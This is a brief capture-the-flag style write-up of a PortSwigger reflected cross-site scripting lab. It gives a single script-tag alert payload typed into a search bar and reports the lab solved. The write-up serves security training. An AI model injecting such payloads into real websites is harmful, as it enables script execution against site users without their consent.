Reflected XSS into HTML context with nothing encoded
https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded

Let's enter the following payload into the search bar:
<script>alert("1");</script>

We have solved the lab

Last updated
Was this helpful?